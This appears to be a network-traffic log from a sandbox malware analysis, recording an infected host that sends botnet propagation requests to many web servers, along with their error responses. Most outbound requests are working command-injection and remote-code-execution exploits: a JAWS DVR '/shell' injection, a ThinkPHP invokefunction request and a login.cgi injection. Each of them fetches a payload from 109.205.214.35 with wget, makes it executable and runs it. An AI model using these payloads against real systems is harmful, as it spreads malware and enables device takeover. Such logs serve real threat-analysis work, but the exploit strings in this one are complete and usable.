Mar 21, 2024 05:17:46.821038008 CET	1012	IN	Data Raw: 6d 75 44 53 46 38 52 67 53 38 74 68 2b 64 2b 70 68 63 69 38 46 4a 66 31 66 77 61 70 69 34 34 72 46 70 66 71 54 5a 41 6e 57 2b 4a 46 52 47 33 6b 66 39 34 5a 2b 73 53 71 64 52 31 55 49 69 49 2f 64 63 2f 42 36 4e 2f 4d 39 57 73 69 41 44 4f 30 30 41 Data Ascii: muDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hXRDDRzdwHZ/5D2hjjght3Mb5y1NINq+beZBu8d84657wPYfN8pZBc0g+JKiKYiNr9r4v1Zrvd
Mar 21, 2024 05:17:46.821121931 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to 135.220.167.72.host.secureserver.net's <a href="ma
Mar 21, 2024 05:17:46.821136951 CET	371	IN	Data Raw: 72 63 65 3d 63 70 61 6e 65 6c 77 68 6d 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 70 6c 6f 67 6f 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 6c 6f 67 6f 6c 69 6e 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 34 30 30 72 65 66 65 72 72 61 6c 22 20 74 61 72 Data Ascii: rce=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=400referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc." /> <div class

Session ID	Source IP	Source Port	Destination IP	Destination Port
630	192.168.2.13	39748	148.139.15.67	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.682691097 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:46.838844061 CET	313	IN	HTTP/1.1 400 Bad Request Server: snow_adc Date: Thu, 21 Mar 2024 04:17:46 GMT Content-Type: text/html Content-Length: 153 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 73 6e 6f 77 5f 61 64 63 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>snow_adc</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
631	192.168.2.13	48862	88.249.177.7	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.730530024 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:46.937391996 CET	49	IN	HTTP/1.1 404 Site or Page Not Found
Mar 21, 2024 05:17:46.937486887 CET	306	IN	Data Raw: 53 65 72 76 65 72 3a 20 44 56 52 44 56 53 2d 57 65 62 73 0d 0a 44 61 74 65 3a 20 54 68 75 20 4d 61 72 20 32 31 20 30 37 3a 32 30 3a 34 37 20 32 30 32 34 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 Data Ascii: Server: DVRDVS-WebsDate: Thu Mar 21 07:20:47 2024Pragma: no-cacheCache-Control: no-cacheContent-Type: text/html<html><head><title>Document Error: Site or Page Not Found</title></head><body><h2>Access Error: Site or Page Not Fou

Session ID	Source IP	Source Port	Destination IP	Destination Port
632	192.168.2.13	55760	88.66.104.198	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.780643940 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
633	192.168.2.13	44876	158.69.203.0	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.782202959 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:46.892087936 CET	1286	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>The page is not found</title> <meta http-equiv="Cont
Mar 21, 2024 05:17:46.892102003 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 43 36 45 42 34 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 31 65 6d 3b 0a 20 20 20 20 20 20 20 Data Ascii: background-color: #3C6EB4; font-size: 1.1em; font-weight: bold; color: #fff; margin: 0; padding: 0.5em; border-bottom: 2px solid #294
Mar 21, 2024 05:17:46.892252922 CET	1114	IN	Data Raw: 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 53 6f 6d 65 74 68 69 6e 67 20 68 61 73 20 74 72 69 67 67 65 72 65 64 20 6d 69 73 73 69 6e 67 20 77 65 62 70 61 67 65 20 6f 6e 20 79 6f 75 72 0a 20 20 20 20 20 20 20 Data Ascii: t"> <p>Something has triggered missing webpage on your website. This is the default 404 error page for <strong>nginx</strong> that is distributed with Fedora. It

Session ID	Source IP	Source Port	Destination IP	Destination Port
634	192.168.2.13	36886	112.199.58.107	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.792220116 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
635	192.168.2.13	60366	23.34.153.55	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.835669994 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:46.999924898 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:17:46 GMT Date: Thu, 21 Mar 2024 04:17:46 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 32 35 33 31 33 32 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 36 36 36 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.25313217.1710994666.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
636	192.168.2.13	33314	169.204.39.122	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.847354889 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:47.009418011 CET	1286	IN	HTTP/1.0 400 Bad request: request protocol version denied Content-type: text/html; charset="utf-8" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 71 75 65 73 74 20 64 65 6e 69 65 64 20 62 79 20 57 61 74 63 68 47 75 61 72 64 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 20 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 56 65 72 64 61 6e 61 2c 20 53 61 6e 73 2d 53 65 72 69 66 3b 0d 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 3b 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 64 69 76 20 7b 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 2e 62 6f 78 20 7b 20 20 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 36 30 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 32 46 32 46 32 3b 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 6c 65 66 74 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 43 32 43 32 43 32 3b 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 43 32 43 32 43 32 3b 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0d 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 32 30 70 78 20 31 30 70 78 20 32 30 70 78 20 31 30 70 78 3b 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 70 20 7b 0d 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 2e 72 65 64 20 7b 0d 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 52 65 64 3b 0d 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 2e 62 61 6e 64 20 7b 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 32 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 57 68 69 74 65 3b 0d 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 33 33 33 33 33 3b 0d 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 36 30 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Request denied by WatchGuard HTTP Proxy</title> <style type="text/css"> body { font-family: Arial, Helvetica, Verdana, Sans-Serif; font-size: small; font-weight: normal; color: #000000; } div { margin-left: auto; margin-right: auto; text-align: center; } .box { width: 600px; background-color: #F2F2F2; border-left: solid 1px #C2C2C2; border-right: solid 1px #C2C2C2; vertical-align: middle; padding: 20px 10px 20px 10px; } p { text-align: left; } .red { font-weight: bold; color: Red; text-align: center; } .band { height: 20px; color: White; background: #333333; width: 600px; bord
Mar 21, 2024 05:17:47.009555101 CET	905	IN	Data Raw: 65 72 2d 6c 65 66 74 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 33 33 33 33 33 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 33 33 33 33 33 3b 0d 0a 20 20 20 20 20 20 20 20 70 61 64 Data Ascii: er-left: solid 1px #333333; border-right: solid 1px #333333; padding: 3px 10px 0px 10px; } div#wrap { margin-top: 50px; } </style> </head> <body> <div id="wrap"> <div clas

Session ID	Source IP	Source Port	Destination IP	Destination Port
637	192.168.2.13	54418	46.141.111.71	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.880230904 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:47.624245882 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
638	192.168.2.13	58770	144.76.217.219	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:46.921591043 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:47.096890926 CET	174	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
639	192.168.2.13	49590	112.28.236.40	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:47.209292889 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:47.739820957 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:49.015826941 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
640	192.168.2.13	49206	80.133.183.247	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:47.320195913 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:48.339787006 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:48.538755894 CET	688	IN	HTTP/1.1 401 Unauthorized Access-Control-Allow-Origin: * Date: Thu, 21 Mar 2024 04:17:48 GMT Last-Modified: Thu, 21 Mar 2024 04:17:48 GMT Connection: close Cache-Control: no-cache,no-store WWW-Authenticate: Basic realm="login.cgi" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 4c 6f 67 69 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 22 3b 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 53 63 72 69 70 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 3c 4d 45 54 41 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 43 4f 4e 54 45 4e 54 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 22 20 43 4f 4e 54 45 4e 54 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0d 0a 3c 6d 65 74 61 20 48 54 54 50 2d 45 51 55 49 56 3d 22 45 78 70 69 72 65 73 22 20 43 4f 4e 54 45 4e 54 3d 22 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 37 3a 34 38 20 47 4d 54 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 45 72 72 6f 72 3a 20 75 73 65 72 6e 61 6d 65 20 6f 72 20 70 61 73 73 77 6f 72 64 20 65 72 72 6f 72 2c 70 6c 65 61 73 65 20 69 6e 70 75 74 20 61 67 61 69 6e 2e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Login</title><meta content="text/html"; charset="utf-8" http-equiv="content-type"><META HTTP-EQUIV="Content-Script-Type" CONTENT="text/javascript"><META http-equiv="Pragma" CONTENT="no-cache"><META HTTP-EQUIV="Cache-Control" CONTENT="no-cache"><meta HTTP-EQUIV="Expires" CONTENT="Thu, 21 Mar 2024 04:17:48 GMT"></head><body>Error: username or password error,please input again.</body></html>
Mar 21, 2024 05:17:49.143093109 CET	688	IN	HTTP/1.1 401 Unauthorized Access-Control-Allow-Origin: * Date: Thu, 21 Mar 2024 04:17:48 GMT Last-Modified: Thu, 21 Mar 2024 04:17:48 GMT Connection: close Cache-Control: no-cache,no-store WWW-Authenticate: Basic realm="login.cgi" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 4c 6f 67 69 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 22 3b 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 53 63 72 69 70 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 3c 4d 45 54 41 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 43 4f 4e 54 45 4e 54 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 22 20 43 4f 4e 54 45 4e 54 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0d 0a 3c 6d 65 74 61 20 48 54 54 50 2d 45 51 55 49 56 3d 22 45 78 70 69 72 65 73 22 20 43 4f 4e 54 45 4e 54 3d 22 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 37 3a 34 38 20 47 4d 54 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 45 72 72 6f 72 3a 20 75 73 65 72 6e 61 6d 65 20 6f 72 20 70 61 73 73 77 6f 72 64 20 65 72 72 6f 72 2c 70 6c 65 61 73 65 20 69 6e 70 75 74 20 61 67 61 69 6e 2e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Login</title><meta content="text/html"; charset="utf-8" http-equiv="content-type"><META HTTP-EQUIV="Content-Script-Type" CONTENT="text/javascript"><META http-equiv="Pragma" CONTENT="no-cache"><META HTTP-EQUIV="Cache-Control" CONTENT="no-cache"><meta HTTP-EQUIV="Expires" CONTENT="Thu, 21 Mar 2024 04:17:48 GMT"></head><body>Error: username or password error,please input again.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
641	192.168.2.13	33002	212.175.156.125	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:47.352039099 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:48.066679001 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:48.756387949 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:50.163829088 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:53.075802088 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:58.708895922 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
